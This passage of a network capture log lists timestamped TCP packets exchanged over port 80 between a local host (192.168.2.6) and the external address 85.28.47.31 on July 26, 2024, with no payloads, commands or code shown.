Jul 26, 2024 10:36:14.457421064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457427979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457454920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457469940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457488060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457499981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457532883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457782030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457833052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457847118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457879066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457894087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457911968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457921028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457946062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457956076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.457983971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.457989931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458029032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458369970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458401918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458420038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458445072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458455086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458487988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458501101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458520889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458533049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458554983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458564997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458587885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458600998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458621979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458632946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458653927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458664894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458688021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458698988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458720922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.458731890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.458765984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.459291935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.459326029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.459346056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.459367990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.543870926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.543961048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.543972969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.543984890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.543997049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544115067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.544115067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.544346094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544357061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544368029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544379950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544389963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544403076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544411898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.544414997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544428110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544440031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.544447899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.544447899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.544462919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.544502974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546181917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546197891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546209097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546220064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546231031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546247005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546251059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546251059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546257019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546267986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546279907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546288013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546292067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546303988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546308994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546319962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546329975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546340942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546351910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546364069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546367884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546367884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546376944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546386957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546399117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546402931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546410084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546421051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546431065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546437025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546437025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546442032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546453953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.546468973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.546509027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547419071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547430038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547441006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547451973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547461987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547475100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547486067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547492027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547492027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547498941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547509909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547522068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547528982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547528982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547533035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547547102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547571898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547593117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.547971010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547982931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.547993898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548005104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548013926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548026085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548028946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548042059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548053980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548074961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548074961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548105955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548495054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548507929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548518896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548532009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548551083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548563004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548576117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548576117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548576117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.548609018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.548619986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.549130917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549141884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549151897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549163103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549174070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549185991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549189091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.549196959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549206972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549222946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549227953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.549227953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.549232960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549245119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549256086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.549273014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.549273014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.549308062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.550101995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550113916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550126076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550137997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550149918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550149918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.550162077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550173044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.550173998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550185919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550198078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550209999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550220966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550228119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.550228119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.550234079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.550276041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.550276041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.551091909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551104069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551112890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551125050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551136017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551146984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551153898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.551156998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551170111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551176071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.551181078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551191092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551197052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.551220894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.551225901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.551225901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.551290035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.552010059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552022934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552032948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552046061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552057981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552067995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.552069902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552081108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552093029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.552097082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.552126884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.552126884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644474983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644495010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644562006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644562006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644666910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644678116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644689083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644701958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644711971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644716978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644725084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644743919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644743919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644757986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644761086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644769907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644781113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644787073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644793987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644804955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644815922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.644838095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644838095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.644855976 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.645591021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645602942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645612955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645625114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645641088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645652056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645663977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645674944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645685911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645695925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645709991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645719051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645730972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645740986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645752907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.645775080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.645864010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646631956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646642923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646652937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646666050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646677017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646689892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646701097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646712065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646713018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646713018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646733999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646735907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646747112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646758080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646770000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646775961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646781921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646794081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646805048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646822929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.646822929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646822929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646867990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.646867990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650715113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650727034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650738001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650749922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650763035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650774002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650784969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650794983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650796890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650796890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650804996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650815010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650825977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650825977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650830984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650831938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650842905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650855064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650872946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650885105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650892973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650896072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650908947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650916100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650919914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650930882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650938034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650942087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650952101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650964022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650970936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650970936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.650974035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650985003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.650991917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651019096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651030064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651045084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651045084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651057005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651067972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651071072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651071072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651084900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651097059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651118040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651127100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651127100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651128054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651138067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651149988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651160002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651160955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651171923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651182890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651201963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651225090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651228905 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:14.651236057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651247025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:14.651258945 CEST	80	49710	85.28.47.31	192.168.2.6
